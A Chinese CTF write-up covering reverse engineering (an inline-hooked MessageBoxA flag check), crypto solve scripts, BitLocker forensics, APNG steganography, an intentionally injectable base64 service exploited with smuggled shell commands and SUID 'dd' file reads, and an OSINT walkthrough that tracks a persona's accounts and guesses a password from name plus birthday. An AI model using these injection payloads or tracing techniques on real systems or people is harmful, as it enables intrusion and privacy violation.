157      *(UINT64*)(patch + 2) = (UINT64)newFunc;
158      patch[10] = 0xFF; patch[11] = 0xE0; /* jmp rax */
159
160      memcpy(pTarget, patch, hookLen);
```

```
161
162     /* 恢复内存保护并刷新指令缓存 */
163     VirtualProtect(pTarget, hookLen, oldProt, &oldProt);
164     FlushInstructionCache(GetCurrentProcess(), pTarget, hookLen);
165
166     *outTramp = (void*)tramp;
167     return 1;
168 }
169
170 static int WINAPI FlagMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption,
    UINT uType) {
171     char trueFlag[] =
    {116,120,7,43,115,48,13,40,11,6,115,53,16,0,45,36,115,47,125,114,6,52,28,20,51,
    40,54,118,118,19,113,10,42,116,4,47,36,43,35,14,16,115,61,3,3,63,55,47,125,45,1
    19,18,54,124,6,119,4,49,35,55};
172     unsigned char input[45];
173     unsigned char encodedInput[61];
174     uint32_t v[11];
175     unsigned char encInput[44];
176     uint32_t const k[4]= {0x616c6143, 0x7974696d, 0x726f465f, 0x656e7574};
177
178     unsigned char v1[85] =
    {0x4f,0x66,0x71,0x6e,0x69,0x60,0x27,0x6a,0x66,0x63,0x62,0x27,0x6e,0x73,0x27,0x7
    3,0x6f,0x6e,0x74,0x27,0x61,0x66,0x75,0x2b,0x27,0x73,0x6f,0x62,0x27,0x74,0x72,0x
    65,0x74,0x62,0x76,0x72,0x62,0x69,0x73,0x27,0x62,0x69,0x64,0x75,0x7e,0x77,0x73,0
    x6e,0x68,0x69,0x27,0x74,0x6f,0x68,0x72,0x6b,0x63,0x27,0x65,0x62,0x27,0x66,0x27,
    0x77,0x6e,0x62,0x64,0x62,0x27,0x68,0x61,0x27,0x64,0x66,0x6c,0x62,0x27,0x61,0x68
    ,0x75,0x27,0x7e,0x68,0x72,0x79};
179     xorName(v1,85);
180     printf("%s\n",v1);
181
182     unsigned char v2[22] =
    {0x57,0x6b,0x62,0x66,0x74,0x62,0x27,0x4e,0x69,0x77,0x72,0x73,0x27,0x7e,0x68,0x7
    2,0x75,0x27,0x61,0x6b,0x66,0x60};
183     xorName(v2,22);
184     printf("%s\n",v2);
185
186     scanf("%44s", input);
187     input[44] = '\0';
188     int len = 0;
189     while (input[len]!='\0')
190     {
191         len++;
192     }
193
194     if (len != 44) {
```

```
        unsigned char v3[13] = {0x4b,0x62,0x69,0x60,0x73,0x6f,0x27,0x42,0x75,0x75,0x68,0x75,0x26};
        xorName(v3,13);
        printf("%s\n",v3);
        exit(0);
    }

    str44_to_u32_le(input,v);

    btea(v,11,k);

    u32_to_str44_le(v,encInput);

    base64_encode((unsigned char*)encInput,44,encodedInput);

    shuffle_inplace(encodedInput);

    xorFun(encodedInput);

    for (int i = 0; i < 60; i++)
    {
        if (encodedInput[i]!=trueFlag[i])
        {
            unsigned char v4[26] = {0x44,0x66,0x6b,0x66,0x6a,0x6e,0x73,0x7e,0x26,0x27,0x77,0x6b,0x62,0x66,0x74,0x62,0x27,0x73,0x75,0x7e,0x27,0x66,0x60,0x66,0x6e,0x69};
            xorName(v4,26);
            printf("%s\n",v4);
            exit(0);
        }

    }

    unsigned char v5[18] = {0x41,0x68,0x75,0x73,0x72,0x69,0x62,0x26,0x40,0x68,0x68,0x63,0x27,0x4b,0x72,0x64,0x6c,0x26};
    xorName(v5,18);
    printf("%s\n",v5);

    return IDOK;
}

static int InstallInlineHook_MessageBoxA(void) {
    HMODULE hUser = GetModuleHandleA("user32.dll");
    if (!hUser) hUser = LoadLibraryA("user32.dll");
    if (!hUser) return 0;

```

```
237       unsigned char v10[12] = {74,98,116,116,102,96,98,69,104,127,70,7};
238   
239       xorName(v10,12);
240   
241       void *pMsgA = (void*)GetProcAddress(hUser, (char*)v10);
242       if (!pMsgA) return 0;
243   
244       void *tramp = NULL;
245       if (!HookInline_x64(pMsgA, (void*)FlagMessageBoxA, &tramp)) return 0;
246   
247       g_origMessageBoxA = (MESSAGEBOXA_T)tramp;
248       return 1;
249   }
250   
251   static void __attribute__((constructor)) auto_install_hook(void) {
252       InstallInlineHook_MessageBoxA();
253   }
254   
255   int main(void) {
256       SetConsoleOutputCP(CP_UTF8);
257       SetConsoleCP(CP_UTF8);
258   
259       srand((unsigned)time(NULL));
260       int secret = (rand() % 100) + 1;
261       int guess = 0;
262   
263       printf("来猜个1-100之间的数字吧，猜对猜错都有flag哦\n");
264   
265       if (scanf("%d", &guess) != 1) return 1;
266   
267       if (guess == secret) {
268           MessageBoxA(NULL, "You guessed right! Is it really right?", "Result",
      MB_OK);
269       } else {
270           printf("You guessed it wrong!\n");
271           printf("虽然你猜错了，但仍然给你flag! \n");
272           YourGift();
273       }
274   
275       return 0;
276   }
```

编译的时候用了strip命令去掉了函数的符号名等调试信息，因此导致代码变得臃肿且难以分析，没什么别的办法只能慢慢看代码一边动态调试一边分析控制流，所涉及的新知识仅有这个IAT hook，其它的加密等均是前两周涉及过的，很考验耐心

直接反编译是一段很简单的代码，一个简单的猜数字，猜错了输出一个假的flag，猜对了会调用MessageBoxA函数，输出一段话

```
sub_401600(argc, argv, envp);
SetConsoleOutputCP(0xFDE9u);
SetConsoleCP(0xFDE9u);
Seed = time64(0);
srand(Seed);
v10 = 0;
v4 = rand();
puts(&Buffer);
v5 = scanf("%d", &v10);
v6 = 1;
if ( v5 == 1 )
{
  if ( v10 == v4 % 100 + 1 )
  {
    MessageBoxA(0, "You guessed right! Is it really right?", "Result", 0);
    return 0;
  }
  else
  {
    n46 = 0;
    puts("Yo
    puts(&Bu
    v12[0] =
    v12[1] = 0x182B1A043E1F082BLL;
    v12[2] = 0x151236080A0D071CLL;
    v12[3] = 0xA150C0111330622LL;
    v12[4] = 0xD2B190804073E26LL;
    n251992113 = 251992113;
    n5130 = 5130;
    strcpy(Calamity_, "Calamity");
    do
    {
000028FE main:29 (4034FE)
```

```
int (__stdcall *)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
   0: 0008 rcx        HWND hWnd;
   1: 0008 rdx        LPCSTR lpText;
   2: 0008 r8         LPCSTR lpCaption;
   3: 0004 r9d        UINT uType;
 RET 0004 eax         int;
 TOTAL STKARGS SIZE: 32
```

这里其实很明显是程序运行的时候动态地改变了MessageBoxA函数的地址，跳转到了一个自定义的函数逻辑，那里才是真正的加密，只要动态调试就能跟进。

这个点对新生来说可能很陌生，但这道题函数很少，因此在ida左侧的函数列表一个个点进去看也能找到那个自定义的加密函数（

预期是动态调试看到随机生成的那个数字，然后输入正确的数字进入自定义函数，或者直接修改汇编代码，进入if语句。

跳转到加密函数后，可以看到有很多的这种无意义字符串+异或7的操作

```
char Buffer[85]; // [rsp+1A0h] [rbp-98h] BYREF
_BYTE v63[3]; // [rsp+1F5h] [rbp-43h] BYREF

n79 = 79;
v57[0] = 0x280D30732B077874LL;
v57[1] = 0x242D00103573060BLL;
v57[2] = 0x141C3406727D2F73LL;
v57[3] = 0xA7113767636283 3LL;
v57[4] = 0xE232B242F04742ALL;
v57[5] = 0x2F373F03033D7310LL;
v57[6] = 0x77067C3612772D7DLL;
qmemcpy(v47, "Calamity_Fortune", sizeof(v47));
qmemcpy(
  Buffer,
  "Ofqni`'jfcb'ns'sont'afu+'sob'tretbvrbis'bidu~wsnhi'tohrkc'eb'f'wnbdb'ha'dflb'ahu'~hry",
  sizeof(Buffer));
p_Buffer = Buffer;
n925053188 = 925053188;
while ( 1 )
{
  *p_Buffer++ = n79 ^ 7;
  if ( v63 == p_Buffer )
    break;
  n79 = *p_Buffer;
}
puts(Buffer);
n87 = 87;
qmemcpy(Buffer_, "Wkbftb'Niwrs'~hru'akf`", sizeof(Buffer_));
for ( Buffer_3 = Buffer_; ; n87 = *Buffer_3 )
{
  *Buffer_3++ = n87 ^ 7;
  if ( Buffer_3 == (char *)&v49 )
00001FDA sub_402B50:74 (402BDA)
```

这里实际上是把输出语句先做了个加密，程序运行的时候动态改回去，本意就是引导师傅们动调这道题慢慢分析的（顺便也起到了隐藏函数的作用）

题目加密的顺序是xxtea->base64解码->乱序->异或0x45，师傅们可以根据源码对照着看，下面写一些我的分析

```
  puts(Buffer_);
  scanf("%44s", v55);
  v4 = v55[0];
  v56 = 0;
  if ( !v55[0] )
    goto LABEL_11;
  v5 = v55;
  v6 = v55;
  do
    n44 = 1 - (unsigned int)v55 + (_DWORD)v6++;
  while ( *v6 );
  if ( n44 != 44 )
  {
LABEL_11:
    n75 = 75;
    qmemcpy(Buffer__1, "Kbi`so'Buuhu&", 13);
    for ( Buffer_4 = Buffer__1; ; n75 = *Buffer_4 )
    {
```

这里实际上是对输入的flag进行长度校验，若长度不足44则输出长度错误，然后程序退出。v55、v6都是地址值

```
v10 = &v50;
while ( 1 )
{
  v11 = v5;
  n32 = 0;
  v13 = 0;
  while ( 1 )
  {
    v14 = v4 << n32;
    n32 += 8;
    ++v11;
    v13 |= v14;
    if ( n32 == 32 )
      break;
    v4 = *v11;
  }
  v5 += 4;
  *v10++ = v13;
  if ( &v56 == (char *)v5 )
    break;
  v4 = *v5;
}
v15 = v52;
v16 = 0x9E3779B9;
n1634492739 = 0x616C6143;
0000221D sub_402B50:133 (402E1D)
```

这里是按照小端序把输入的字符串转化为每个元素为32bit数字的数组，便于接下来的xxtea计算

```
}
v15 = v52;
v16 = 0x9E3779B9;
n1634492739 = 0x616C6143;
v18 = v50;
while ( 1 )
{
  v19 = &v50;
  for ( n9 = 0; ; ++n9 )
  {
    v21 = v19[1];
    ++v19;
    v15 = v18
        + (((v15 ^ *((_DWORD *)v47 + (((unsigned __int8)(v16 >> 2) ^ (unsigned __int8)n9) & 3))) + (v21 ^ v16))
         ^ (((4 * v21) ^ (v15 >> 5)) + ((16 * v15) ^ (v21 >> 3))));
    *(v19 - 1) = v15;
    if ( n9 == 9 )
      break;
    v18 = *v19;
  }
  v18 = v50;
  v22 = v16;
  v16 -= 1640531527;
  v15 = v52 + ((((v15 >> 5) ^ (4 * v50)) + ((16 * v15) ^ (v50 >> 3))) ^ ((v50 ^ v22) + (n1634492739 ^ v15)));
  v52 = v15;
00002267 sub_402B50:150 (402E67)
```

这里就是标准的xxtea，密钥、delta都已经给出了

```
v25 = v53;
while ( 1 )
{
  v26 = v25;
  for ( n32_1 = 0; n32_1 != 32; n32_1 += 8 )
  {
    v26 = (_DWORD *)((char *)v26 + 1);
    v28 = v18 >> n32_1;
    *((_BYTE *)v26 - 1) = v28;
  }
  if ( &v54 == ++v25 )
    break;
  v18 = *v24++;
}
```

这里是把前面xxtea加密生成的密文数组再转换回字符串格式，接下来是很标准的base64，不细说了

```
srand(1010);
while ( 1 )
{
  v34 = rand();
  v35 = *v33;
  v36 = &v59[v34 % (int)(60 - (unsigned int)v60 + (_DWORD)v33)];
  *v33 = *v36;
  *v36 = v35;
  v37 = v33 - 1;
  if ( v59 == v33 - 1 )
    break;
  --v33;
}
```

这段是用固定随机数序列乱序加密过程，接下来就是一段异或0x45（这一段异或主要是为了去除base64加密所会产生的可读字符串，防止shift+F12直接定位密文， 进而找到这个函数，还是为了隐藏）

然后进行比对，这里的v57是最前面赋值过的

```
while ( v38 != v39 );
v40 = (char *)v57 + 1;
for ( n116 = 116; ; n116 = *v40++ )
{
  if ( *v37 != n116 )
  {
    qmemcpy(Buffer__1, "Dfkfjns~&'wkbftb'su~'f`fni", 26);
    Buffer_1 = Buffer__1;
    for ( n68 = 68; ; n68 = *Buffer_1 )
    {
      *Buffer_1++ = n68 ^ 7;
      if ( &Buffer__1[26] == Buffer_1 )
        break;
    }
    puts(Buffer__1);
    exit(0);
  }
```

char *v40; // rcx
0x60FC81LL:"x\a+s0\r(\v"

后记：没想到这题的解这么少。。。。按理来说这么大且复杂的代码量不应该是新生赛出的东西，但现在基本上都在用ai工具。我测试过，如果直接把这一大串加密代码全部扔给GPT，它可以完全正确地分析出来流程

🏁 三、总结整个加密逻辑

这个函数实现的是：

vbnet 复制代码

```
用户输入(44字节)
   ↓
按4字节拆分成uint32
   ↓
使用 "Calamity_Fortune" 作为key
进行 XXTEA 加密
   ↓
Base64 编码
   ↓
使用 srand(101) 打乱
   ↓
逐字节 XOR 0x45
   ↓
和预存的 7 个 64位数 v57 进行比对
   ↓
成功/失败
```

所以我认为即使是只做过前两周re的新生，也完全有能力做出来这题，因此这题出的应该不算过分（毕竟现在打ctf基本都在用ai

做逆向的经常要面对一大串恶心的代码慢慢分析，往往会对着一大堆不知所云的反编译代码（有时甚至是汇编等）看上半天，我自己在逆向的时候也会经常用ai，但这并不是说让新生在做题的时候应该依赖ai

有的时候ai会显得很蠢，这时候需要你完全地去理解你要问什么、这个题到底是哪里难到你了，再加上你自己对这道题的一些分析和现有的信息才能让ai出一些你想要的结果。就像这题，如果只知道一味依赖ai，很有可能连后面的加密函数都找不到，卡死在main函数里面

我一直认为ai是学习工具，而不是一种自动化生产工具，不能把它的输出作为一种成品，而是作为补充信息的学习资料，有思考地解析它的输出结果，化为自己的一种经验，如果一味地依赖ai的输出，每次分析题目都是直接把代码丢给ai的话，迟早会吃亏的（有人以前就因为这个吃过大亏，我不说是谁。。。。。。）

逆向最需要的是耐心，而且它算是一个经验性学科，学的越久越明白(?)。学逆向需要的不是什么多高深的知识，而是大量重复且枯燥的练习所产生的一些经验，这些ai是没法帮你的。所以如果有新生师傅依靠ai做出了这道题，建议赛后有时间的话还是多分析一下

Crypto

exp都是拿ai写的，那既然没人好好写我也懒得详解了，有问题私聊吧，这里放个exp

Ez_LLL

代码块

```
# sage
from Crypto.Util.number import *

p = ...
h = ...

ge = [
    [1, h],
    [0, p]
]

```

```
Ge = Matrix(ZZ, ge)
L = Ge.LLL()
print(long_to_bytes(int(abs(L[0, 0]))))

```

Mid_LLL

代码块

```
output = ...
aaa = Matrix(ZZ, output)
L = aaa.LLL()

print(g:=GCD(L[0]))
print(lis:=list(map(abs, L[0]/g)))

print("".join(map(chr, lis)))
```

where is my public key

代码块

```
__import__('os').environ['TERM'] = 'xterm'

from pwn import *
from Crypto.Util.number import *

# context(log_level = 'debug')

# io = remote("121.40.28.126", 5000)

io.recvuntil(b">> ")
io.sendline(b"1")

io.recvuntil(b"c = ")
c = int(io.recvline().strip())
print(f"c = {c}")
io.recvuntil(b"p = ")
p = int(io.recvline().strip())
print(f"p = {p}")
io.recvuntil(b"q = ")
q = int(io.recvline().strip())
print(f"q = {q}")

n = p * q
```

```
phi = (p - 1) * (q - 1)
F = Zmod(n)

io.recvuntil(b">> ")
io.sendline(b"2")

io.recvuntil(b"Enter your number: ")
io.sendline(b"2")
io.recvuntil(b"Encrypted number: ")
cc = int(io.recvline().strip())

e = discrete_log(F(cc), F(2), ord=phi)
print(f"e = {e}")

d = inverse_mod(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
```

Copper!!!

代码块

```
from Crypto.Util.number import *

n = ...
c = ...
gift = ...

R.<x> = PolynomialRing(Zmod(n))

f = gift + x
res = f.small_roots(X=2^242, beta=0.5, epsilon=0.02)
p = ZZ(res[0] + gift)
q = n // p
assert p * q == n
phi = (p - 1) * (q - 1)
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
```

映雪

解析

~~一个非常简单的**双线性配对**系统~~~~又名BabyRSA，2025陇剑杯决赛0解传奇~~~~。

“配对”(Pairing)就是从任意两个群中的两个元素 F_1, F_2 向另一个元素 G 的映射 ，记作 $G = e(F_1, F_2)$

而双线性配对(Bilinear Pairing)则是一种具有特殊性质的配对：

$$\forall k_1, k_2 \in Z_+, e(k_1 F_1, k_2 F_2) = k_1 k_2 \cdot e(F_1, F_2)$$

> 最简单的双线性配对： $z = ax + by$ ，其中 a, b 为常数。

本题中， Z_{pq} 下的 E 实际上是由将 E 换至 Z_p 、 Z_q 环下后进行运算，得到的点再使用CRT（中国剩余定理）映射回 Z_{pq} 下的 E。

将原椭圆曲线方程分别对 p, q 取模后即可转移至 Z_p / Z_q 下，在这两个群下分别求 $d \equiv e^{-1} \bmod ord(E)$ ，分别算回去后再用相同的CRT映射回原曲线， x 就是 `flag` 。

~~~~什么？你说没给你 `pq` ？这不给子你两个点嘛，自己列方程算去，懒得*LaTex*子都~~~~

exp

代码块

```
from sage.all import *
from pwn import *

io = remote('nc1.ctfplus.cn',22289)

io.recvuntil(b'is')
x1,y1 = eval(io.recvline().strip().decode())

io.recvuntil(b'is')
x2,y2 = eval(io.recvline().strip().decode())

exec(io.recvline().removeprefix(b'[+]').strip().decode()) #n

```
~~~~

```
p = ((y1**2 - y2**2) - (x1**3 - x2**3)) * pow(x1-x2,-1,n) % n

assert n % p == 0
q = n // p
E = EllipticCurve(Zmod(n),[p,q])
e = 65537

xp = x1 % p
yp = y1 % p
Ep = Ep = EllipticCurve(Zmod(p),[0,q])
dp = pow(e,-1,Ep.order())
Pp = Ep(xp,yp)
Cp = dp * Pp
xp,yp = map(ZZ,Cp.xy())

xq = x1 % q
yq = y1 % q
Eq = Eq = EllipticCurve(Zmod(q),[p,0])
dq = pow(e,-1,Eq.order())
Pq = Eq(xq,yq)
Cq = Pq * dq
xq,yq = map(ZZ,Cq.xy())

xM = crt([xp,xq],[p,q])
yM = crt([yp,yq],[p,q])
M = E(xM,yM)
res = int(xM).to_bytes(126)[:35]
io.sendlineafter(b':',res.hex().encode())
io.interactive()
```

Misc

神秘图书管理员

> 方法不唯一，能骗出flag就成功



收集阳光吧

本题算是week3的签到题，方法很多

方法一，通过ce改内存



方法二，逆向处理，也就是个upx脱壳，pyinstaller打包反编译，pyc反编译，内部函数很简单，是个xor

Bitlocker安全吗?

推荐两个仓库，上面是vol3的，下面是vol2的

代码块

```
https://github.com/lorelyai/volatility3-bitlocker
https://github.com/breppo/Volatility-BitLocker
```

vol3示例

代码块

```
yolo@yolo:~$ python vol.py -f memdump.mem -vvv
windows.bitlocker.BitlockerFVEKScan --tags FVEc Cngb None --dislocker
yolo@yolo:~$ sudo mkdir -p /mnt/dislocker_tmp
yolo@yolo:~$ sudo mkdir -p /mnt/decrypted
yolo@yolo:~$ sudo dislocker -v --offset 65536 -k 0xe000899f7680-Dislocker.fvek
-- 0xGame.dd /mnt/dislocker_tmp
yolo@yolo:~$ sudo mount -o loop,ro -t ntfs-3g /mnt/dislocker_tmp/dislocker-
file /mnt/decrypted
yolo@yolo:~$ ls /mnt/decrypted
'$RECYCLE.BIN'  'System Volume Information'   flag.txt
yolo@yolo:~$ cat /mnt/decrypted/flag.txt
0xGame{Wow_Y0u_@r3_BEsT_H@cker!!!_Coom3_0n!!!}
yolo@yolo:~$ sudo umount /mnt/decrypted
yolo@yolo:~$ sudo umount /mnt/dislocker_tmp
yolo@yolo:~$ sudo rmdir /mnt/dislocker_tmp
yolo@yolo:~$ sudo rmdir /mnt/decrypted
```

Passware kit forencs示例



A cute dog

关于Apng格式介绍，推荐这个文章https://lastnigtic.cn/posts/apng-editor/

第一步是时间轴隐写



代码块

```python
import struct

def extract_apng_Delay_num(apng_file_path):
        delay_numbers=[]
        try:
                with open(apng_file_path,'rb') as f:
                        f.read(8)
                        while True:
                                length_bytes=f.read(4)
                                if not length_bytes:
                                        break

                                chunk_length=struct.unpack('>I',length_bytes)[0]
                                chunk_type_bytes=f.read(4)
                                chunk_type=chunk_type_bytes.decode('ascii')

                                if chunk_type=='fcTL':
                                        if chunk_length!=26:
                                                print("wrong fctl chunk")
                                                f.read(chunk_length)
```

```
                                        else:
                                                chunk_data=f.read(chunk_length)

delay_num=struct.unpack('>H',chunk_data[20:22])[0]
                                                delay_numbers.append(delay_num)
                                        f.read(4)
                                elif chunk_type=='IEND':
                                        break

                                else:
                                        f.read(chunk_length)
                                        f.read(4)
        except FileNotFoundError:
                print(f"file can not found")
                return

        print("extracted delay num")
        print(delay_numbers)
        print("-"*30)

        ascii_result=""
        for num in delay_numbers:
                if 32<=num<=126:
                        ascii_result+=chr(num)
                else:
                        pass
        print(f"ascii decoded:{ascii_result}")

if __name__=="__main__":
        file='a_cute_dog.png'
        extract_apng_Delay_num(file)
"""
extracted delay num
[116, 104, 101, 95, 50, 52, 116, 104, 95, 109, 97, 121, 98, 101, 95, 117, 115,
101, 102, 117, 108, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10,
10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10]
------------------------------
ascii decoded:the_24th_maybe_useful

"""
```

然后逐帧分离，直接用Apng库就好了

代码块

```python
import os
from apng import APNG

def extract_apng_frames(apng_file_path,output_dir="frames_output"):
        if not os.path.exists(output_dir):
                os.makedirs(output_dir)
                print(f"create output dir")
        try:
                im=APNG.open(apng_file_path)
        except Exception as e:
                print("wrong,can not open file")
                return
        print("successfully load file")

        for i,(png_instance,control_instance) in enumerate(im.frames):
                frame_filename=f"frame_{i:03d}.png"
                output_path=os.path.join(output_dir,frame_filename)
                try:
                        png_instance.save(output_path)
                        print(f"save {i}:{output_path}")
                except Exception as e:
                        print(f"can not save{i}")
                        continue

        print(f"all saved in {output_dir}")
if __name__ =="__main__":
        input_file='a_cute_dog.png'
        output_folder='dog_frames'
        extract_apng_frames(input_file,output_folder)
```

拿第24个图片进行分析，发现藏了个压缩包，还是倒序隐写进去的，很好提取





拿到了第一部分flag

代码块

```
Congratulations!!!( •  ω •  )y
the gifts are these:

1.0xGame{Y0u_nn@stered_LSb_And_y0
2.the next challenge is in oursecret
3.the key is flag_part1
```

我说的很清楚，接下来是oursecret加密，也给了key，负载文件是从平台下载的附件

提取出来，发现是个crc宽高爆破，参考我的博客脚本，可以处理这样的宽高爆破

https://www.yo1o.top/2025/04/13/png-challenge/#CRC-%E5%AE%BD%E9%AB%98%E7%88%86%E7%A0%B4



base64Decoder

app.py：

代码块

```python
import socket
import threading
import base64
import re
import os

def base64_decoder(base64_data):
    # 解码base64
    data = base64.b64decode(base64_data).decode()

    if not re.match(r'^\w+$', data):
        return "Invalid base64 data\n"

    # 写入临时文件
    with open("tmpfile", "w") as f:
        f.write(base64_data)

    # 执行命令
    command = "echo $(base64 -d tmpfile)"
    with os.popen(f"""echo "{command}" | sh""") as ff:
        output = ff.read()

    return f"base64-decoded data: {output}\n"
```

```python


def handle_client(client_socket):
    try:
        welcome_msg = "Welcome to Base64 Decoder Challenge!\nPlease input your base64 data. I will decode it for you.\n"
        client_socket.send(welcome_msg.encode())

        while True:
            client_socket.send(b"> ")
            data = client_socket.recv(1024).decode().strip()

            if not data:
                break

            # 处理 base64 解码
            result = base64_decoder(data)
            client_socket.send(result.encode())

    except Exception as e:
        print(f"Client handling error: {e}")
    finally:
        client_socket.close()

def main():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('0.0.0.0', 2000))
    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        threading.Thread(target=handle_client, args=(client_socket,)).start()

if __name__ == '__main__':
    main()
```

对于输入的base64数据，是用python的base64库来校验的，但是执行命令的时候又用linux的`base64 -d`来进行解码，因此可以往二者解析差异的方向去考虑如何绕过对输入的过滤

python的base64解码会自动忽略填充符后的字符，而linux的base64解码只要填充符个数正确，就会解码所有base64字符，例如hello的base64编码为：aGVsbG8=，world的base64编码为：d29ybGQ=，将他们连接成一个字符串并分别用二者进行解码：

```
Python 3.10.11 (tags/v3.10.11:7d4cc5a, Apr  5 2023, 00:38:17) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> base64_data = "aGVsbG8=d29ybGQ="
>>> data = base64.b64decode(base64_data).decode()
>>> print(data)
hello
>>>
```

```
# echo aGVsbG8=d29ybGQ= | base64 -d
helloworld#
```

接着只要在想要执行的命令前加个分号就能实现命令的拼接，比如：

代码块

```
test dGVzdA==
;whoami O3dob2FtaQ==
```

尝试在题目环境中输入 `dGVzdA==O3dob2FtaQ==`：

```
> dGVzdA==O3dob2FtaQ==
base64-decoded data: test
ctf
```

后续会发现根目录下有flag文件，但是权限不够，可以尝试suid提取，先用find查找具有suid权限的文件：

代码块

```
test dGVzdA==
;find / -perm -u=s -type f 2>/dev/null
O2ZpbmQgLyAtcGVybSAtdT1zIC10eXBlIGYgMj4vZGV2L251bGw=
```

```
> dGVzdA==O2ZpbmQgLyAtcGVybSAtdT1zIC10eXBlIGYgMj4vZGV2L251bGw=
base64-decoded data: test
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/dd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/mount
```

最后可以利用dd进行提权：

Linux dd 命令用于读取、转换并输出数据。

dd 可从标准输入或文件中读取数据，根据指定的格式来转换数据，再输出到文件、设备或标准输出。

参数说明:

- if=文件名：输入文件名，默认为标准输入。即指定源文件。
- of=文件名：输出文件名，默认为标准输出。即指定目的文件。

代码块

```
1  test dGVzdA==
2  ;dd if=/flag of=/tmp/flag O2RkIGlmPS9mbGFnIG9mPS90bXAvZmxhZw==
3  ;cat /tmp/flag O2NhdCAvdG1wL2ZsYWc=
```

```
> dGVzdA==O2RkIGlmPS9mbGFnIG9mPS90bXAvZmxhZw==O2NhdCAvdG1wL2ZsYWc=
base64-decoded data: test
0xGame{BasE64_Dec0der_w1th_DD}
```

OSINT

我是NaeS姐姐的舔狗

1. 关于页有提到过居住地在苏州，所以第一题直接为苏州站
2. Grav是一个动态博客框架，有后台管理页面/admin，虽然不知道密码，但是尝试忘记密码，并输入NaeS，即可得到QQ邮箱

其实后台可以直接登陆的，账号是naes（因为Grav注册要求账号为小写英文），密码是NaeS0420（名字+生日）

3. 浏览该QQ号动态，图寻可以找到拍摄地点为赛格国际购物中心
4. 继续看QQ号动态，可以发现转发过一条B站视频，看该视频评论区从最新排序，就能找到NaeS的B站号，简介得到微信号

5. 根据登机时间（通常提前30min）+日期，可以直接找到航班号。或者扫描左下角PDF417码，可以直接解析得到航班号。（还能看到NaeS姐姐叫什么名字